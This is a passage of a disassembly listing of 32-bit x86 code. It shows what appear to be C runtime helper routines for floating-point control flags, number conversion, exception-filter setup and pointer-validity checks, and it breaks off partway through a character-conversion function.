sub_41D84B	proc near		; CODE XREF: sub_419E9F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41D816
		pop	ecx
		pop	ecx
		retn
sub_41D84B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D861	proc near		; CODE XREF: sub_41D816+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41D872
		push	10h
		pop	eax


loc_41D872:				; CODE XREF: sub_41D861+Cj
		test	bl, 4
		jz	short loc_41D879
		or	al, 8


loc_41D879:				; CODE XREF: sub_41D861+14j
		test	bl, 8
		jz	short loc_41D880
		or	al, 4


loc_41D880:				; CODE XREF: sub_41D861+1Bj
		test	bl, 10h
		jz	short loc_41D887
		or	al, 2


loc_41D887:				; CODE XREF: sub_41D861+22j
		test	bl, 20h
		jz	short loc_41D88E
		or	al, 1


loc_41D88E:				; CODE XREF: sub_41D861+29j
		test	bl, 2
		jz	short loc_41D898
		or	eax, 80000h


loc_41D898:				; CODE XREF: sub_41D861+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41D8D0
		cmp	edx, 400h
		jz	short loc_41D8CD
		cmp	edx, 800h
		jz	short loc_41D8C9
		cmp	edx, esi
		jnz	short loc_41D8D0
		or	eax, edi
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------


loc_41D8C9:				; CODE XREF: sub_41D861+5Ej
		or	eax, ebp
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------


loc_41D8CD:				; CODE XREF: sub_41D861+56j
		or	ah, 1


loc_41D8D0:				; CODE XREF: sub_41D861+4Ej
					; sub_41D861+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41D8E0
		cmp	ecx, ebp
		jnz	short loc_41D8E5
		or	eax, 10000h
		jmp	short loc_41D8E5
; ---------------------------------------------------------------------------


loc_41D8E0:				; CODE XREF: sub_41D861+72j
		or	eax, 20000h


loc_41D8E5:				; CODE XREF: sub_41D861+76j
					; sub_41D861+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41D8F2
		or	eax, 40000h

locret_41D8F2:				; CODE XREF: sub_41D861+8Aj
		retn
sub_41D861	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D8F3	proc near		; CODE XREF: sub_41D816+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41D903
		push	1
		pop	eax


loc_41D903:				; CODE XREF: sub_41D8F3+Bj
		test	bl, 8
		jz	short loc_41D90A
		or	al, 4


loc_41D90A:				; CODE XREF: sub_41D8F3+13j
		test	bl, 4
		jz	short loc_41D911
		or	al, 8


loc_41D911:				; CODE XREF: sub_41D8F3+1Aj
		test	bl, 2
		jz	short loc_41D918
		or	al, 10h


loc_41D918:				; CODE XREF: sub_41D8F3+21j
		test	bl, 1
		jz	short loc_41D91F
		or	al, 20h


loc_41D91F:				; CODE XREF: sub_41D8F3+28j
		test	ebx, 80000h
		jz	short loc_41D929
		or	al, 2


loc_41D929:				; CODE XREF: sub_41D8F3+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41D956
		cmp	ecx, 100h
		jz	short loc_41D953
		cmp	ecx, esi
		jz	short loc_41D94E
		cmp	ecx, edx
		jnz	short loc_41D956
		or	ah, 0Ch
		jmp	short loc_41D956
; ---------------------------------------------------------------------------


loc_41D94E:				; CODE XREF: sub_41D8F3+50j
		or	ah, 8
		jmp	short loc_41D956
; ---------------------------------------------------------------------------


loc_41D953:				; CODE XREF: sub_41D8F3+4Cj
		or	ah, 4


loc_41D956:				; CODE XREF: sub_41D8F3+44j
					; sub_41D8F3+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41D96C
		cmp	ecx, 10000h
		jnz	short loc_41D96E
		or	eax, esi
		jmp	short loc_41D96E
; ---------------------------------------------------------------------------


loc_41D96C:				; CODE XREF: sub_41D8F3+6Bj
		or	eax, edx


loc_41D96E:				; CODE XREF: sub_41D8F3+73j
					; sub_41D8F3+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41D97B
		or	ah, 10h

locret_41D97B:				; CODE XREF: sub_41D8F3+83j
		retn
sub_41D8F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D97C	proc near		; CODE XREF: sub_41DA1B+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41D9C1
		inc	esi
		cmp	esi, 3
		jge	short loc_41D9BC
		lea	eax, [eax+esi*4]


loc_41D9AE:				; CODE XREF: sub_41D97C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41D9C1
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41D9AE


loc_41D9BC:				; CODE XREF: sub_41D97C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D9C1:				; CODE XREF: sub_41D97C+27j
					; sub_41D97C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41D97C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9C5	proc near		; CODE XREF: sub_41DA1B+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		js	short loc_41DA17
		lea	edi, [ebx+esi*4]


loc_41D9FE:				; CODE XREF: sub_41D9C5+50j
		test	eax, eax
		jz	short loc_41DA17
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41D9FE


loc_41DA17:				; CODE XREF: sub_41D9C5+34j
					; sub_41D9C5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D9C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA1B	proc near		; CODE XREF: sub_41DB76+81p
					; sub_41DB76+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41DA7F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D97C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA7C
		push	edi
		push	[ebp+arg_0]
		call	sub_41D9C5
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41DA7C:				; CODE XREF: sub_41DA1B+51j
		mov	eax, [ebp+arg_4]


loc_41DA7F:				; CODE XREF: sub_41DA1B+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41DA9F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41DA9F:				; CODE XREF: sub_41DA1B+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DA1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAA7	proc near		; CODE XREF: sub_41DB76+75p
					; sub_41DB76+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41DAB5:				; CODE XREF: sub_41DAA7+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41DAB5
		pop	esi
		retn
sub_41DAA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAC2	proc near		; CODE XREF: sub_41DB76+5Fp
					; sub_41DB76+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41DAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DACE	proc near		; CODE XREF: sub_41DB76+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41DAD4:				; CODE XREF: sub_41DACE+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41DAE6
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41DAD4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41DAE6:				; CODE XREF: sub_41DACE+9j
		xor	eax, eax
		retn
sub_41DACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAE9	proc near		; CODE XREF: sub_41DB76+C0p
					; sub_41DB76+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41DB1F:				; CODE XREF: sub_41DAE9+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41DB1F
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41DB51:				; CODE XREF: sub_41DAE9+86j
		cmp	ebx, edi
		jl	short loc_41DB64
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41DB6B
; ---------------------------------------------------------------------------


loc_41DB64:				; CODE XREF: sub_41DAE9+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41DB6B:				; CODE XREF: sub_41DAE9+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41DB51
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DAE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB76	proc near		; CODE XREF: sub_41DCE2+Dp
					; sub_41DCF8+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41DBE3
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41DACE
		test	eax, eax
		pop	ecx
		jnz	loc_41DCA2
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx


loc_41DBDB:				; CODE XREF: sub_41DB76+E4j
		push	2


loc_41DBDD:				; CODE XREF: sub_41DB76+110j
		pop	eax
		jmp	loc_41DCA4
; ---------------------------------------------------------------------------


loc_41DBE3:				; CODE XREF: sub_41DB76+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DAA7
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DC04
		inc	ebx


loc_41DC04:				; CODE XREF: sub_41DB76+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41DC1C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx
		jmp	short loc_41DC58
; ---------------------------------------------------------------------------


loc_41DC1C:				; CODE XREF: sub_41DB76+98j
		cmp	ebx, eax
		jg	short loc_41DC5F
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA7
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41DAE9
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		add	esp, 20h


loc_41DC58:				; CODE XREF: sub_41DB76+A4j
		xor	esi, esi
		jmp	loc_41DBDB
; ---------------------------------------------------------------------------


loc_41DC5F:				; CODE XREF: sub_41DB76+A8j
		cmp	ebx, [edi]
		jl	short loc_41DC8B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DC8B:				; CODE XREF: sub_41DB76+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41DAE9
		pop	ecx
		pop	ecx


loc_41DCA2:				; CODE XREF: sub_41DB76+55j
		xor	eax, eax


loc_41DCA4:				; CODE XREF: sub_41DB76+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41DCD3
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41DCDD
; ---------------------------------------------------------------------------


loc_41DCD3:				; CODE XREF: sub_41DB76+14Ej
		cmp	edi, 20h
		jnz	short loc_41DCDD
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41DCDD:				; CODE XREF: sub_41DB76+15Bj
					; sub_41DB76+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB76	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCE2	proc near		; CODE XREF: sub_41DD0E+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386F0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCF8	proc near		; CODE XREF: sub_41DD3B+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438708
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD0E	proc near		; CODE XREF: sub_419FD8+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCE2
		add	esp, 24h
		leave
		retn
sub_41DD0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD3B	proc near		; CODE XREF: sub_419FD8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCF8
		add	esp, 24h
		leave
		retn
sub_41DD3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD68	proc near		; CODE XREF: sub_41A016+65p
					; sub_41A11A+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41DDA5
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41DD8B:				; CODE XREF: sub_41DD68+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41DD97
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41DD9A
; ---------------------------------------------------------------------------


loc_41DD97:				; CODE XREF: sub_41DD68+27j
		push	30h
		pop	edx


loc_41DD9A:				; CODE XREF: sub_41DD68+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41DD8B
		mov	edx, [ebp+arg_8]


loc_41DDA5:				; CODE XREF: sub_41DD68+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41DDBE
		cmp	byte ptr [ecx],	35h
		jl	short loc_41DDBE


loc_41DDB1:				; CODE XREF: sub_41DD68+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41DDBC
		mov	byte ptr [eax],	30h
		jmp	short loc_41DDB1
; ---------------------------------------------------------------------------


loc_41DDBC:				; CODE XREF: sub_41DD68+4Dj
		inc	byte ptr [eax]


loc_41DDBE:				; CODE XREF: sub_41DD68+42j
					; sub_41DD68+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41DDC8
		inc	dword ptr [edx+4]
		jmp	short loc_41DDDA
; ---------------------------------------------------------------------------


loc_41DDC8:				; CODE XREF: sub_41DD68+59j
		push	edi
		call	sub_415CF0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416490
		add	esp, 10h


loc_41DDDA:				; CODE XREF: sub_41DD68+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DD68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDDF	proc near		; CODE XREF: sub_41A016+3Fp
					; sub_41A11A+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE43
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_469660
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F004
		mov	dword_469688, eax
		add	esp, 18h
		movsx	eax, byte_469662
		mov	dword_469680, eax
		pop	edi
		movsx	eax, word_469660
		mov	dword_469684, eax
		mov	dword_46968C, offset dword_469664
		mov	eax, offset dword_469680
		pop	esi
		leave
		retn
sub_41DDDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE43	proc near		; CODE XREF: sub_41DDDF+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41DE91
		cmp	ebx, edi
		jz	short loc_41DE8A
		lea	edi, [ecx+3C00h]
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------


loc_41DE8A:				; CODE XREF: sub_41DE43+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------


loc_41DE91:				; CODE XREF: sub_41DE43+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DEA9
		cmp	edx, ebx
		jnz	short loc_41DEA9
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41DEF4
; ---------------------------------------------------------------------------


loc_41DEA9:				; CODE XREF: sub_41DE43+52j
					; sub_41DE43+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41DEB2:				; CODE XREF: sub_41DE43+45j
					; sub_41DE43+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41DECA:				; CODE XREF: sub_41DE43+A6j
		test	ecx, esi
		jnz	short loc_41DEEB
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41DECA
; ---------------------------------------------------------------------------


loc_41DEEB:				; CODE XREF: sub_41DE43+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41DEF4:				; CODE XREF: sub_41DE43+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE43	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_417BEE
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DF02	proc near		; DATA XREF: sub_41DF48o
					; .nsp0:004380C0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DF25
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DF25
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DF25
		jmp	sub_41AB9C
; ---------------------------------------------------------------------------


loc_41DF25:				; CODE XREF: sub_41DF02+Dj
					; sub_41DF02+13j ...
		mov	eax, dword_469690
		test	eax, eax
		jz	short loc_41DF42
		push	eax
		call	sub_41DF9E
		test	eax, eax
		pop	ecx
		jz	short loc_41DF42
		push	esi
		call	dword_469690
		jmp	short loc_41DF44
; ---------------------------------------------------------------------------


loc_41DF42:				; CODE XREF: sub_41DF02+2Aj
					; sub_41DF02+35j
		xor	eax, eax


loc_41DF44:				; CODE XREF: sub_41DF02+3Ej
		pop	esi
		retn	4
sub_41DF02	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF48	proc near		; DATA XREF: .nsp0:00423024o
		push	offset sub_41DF02
		call	dword_42101C	; SetUnhandledExceptionFilter
		mov	dword_469690, eax
		retn
sub_41DF48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF59	proc near		; DATA XREF: .nsp0:0042303Co
		push	dword_469690
		call	dword_42101C	; SetUnhandledExceptionFilter
		retn
sub_41DF59	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF66	proc near		; CODE XREF: sub_41A3EE+6Bp
					; sub_41A8FF+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41DF7E
		xor	esi, esi


loc_41DF7E:				; CODE XREF: sub_41DF66+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF66	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF82	proc near		; CODE XREF: sub_41A8FF+73p
					; sub_41A8FF+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421180	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41DF9A
		xor	esi, esi


loc_41DF9A:				; CODE XREF: sub_41DF82+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF9E	proc near		; CODE XREF: sub_41A8FF+15Bp
					; sub_41DF02+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_421014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41DFB2
		xor	esi, esi


loc_41DFB2:				; CODE XREF: sub_41DF9E+10j
		mov	eax, esi
		pop	esi
		retn
sub_41DF9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB9C


loc_41DFB6:				; CODE XREF: sub_41AB9C:loc_41ABEDj
		push	0Ah
		call	sub_41CF19
		push	16h
		call	sub_41F297
		pop	ecx
		pop	ecx
		push	3
		call	sub_417838
; END OF FUNCTION CHUNK	FOR sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFCD	proc near		; CODE XREF: sub_41AD3D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DFF0
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DFF0
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DFF6
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DFF0
		mov	[eax], bx


loc_41DFF0:				; CODE XREF: sub_41DFCD+Cj
					; sub_41DFCD+11j ...
		xor	eax, eax


loc_41DFF2:				; CODE XREF: sub_41DFCD+42j
					; sub_41DFCD+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DFF6:				; CODE XREF: sub_41DFCD+17j
		cmp	dword_469528, ebx
		jnz	short loc_41E011
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41E00C
		movzx	ax, al
		mov	[ecx], ax


loc_41E00C:				; CODE XREF: sub_41DFCD+36j
					; sub_41DFCD+C0j
		push	1
		pop	eax
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------


loc_41E011:				; CODE XREF: sub_41DFCD+2Fj
		mov	ecx, off_437D70
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E06E
		mov	eax, dword_437F7C
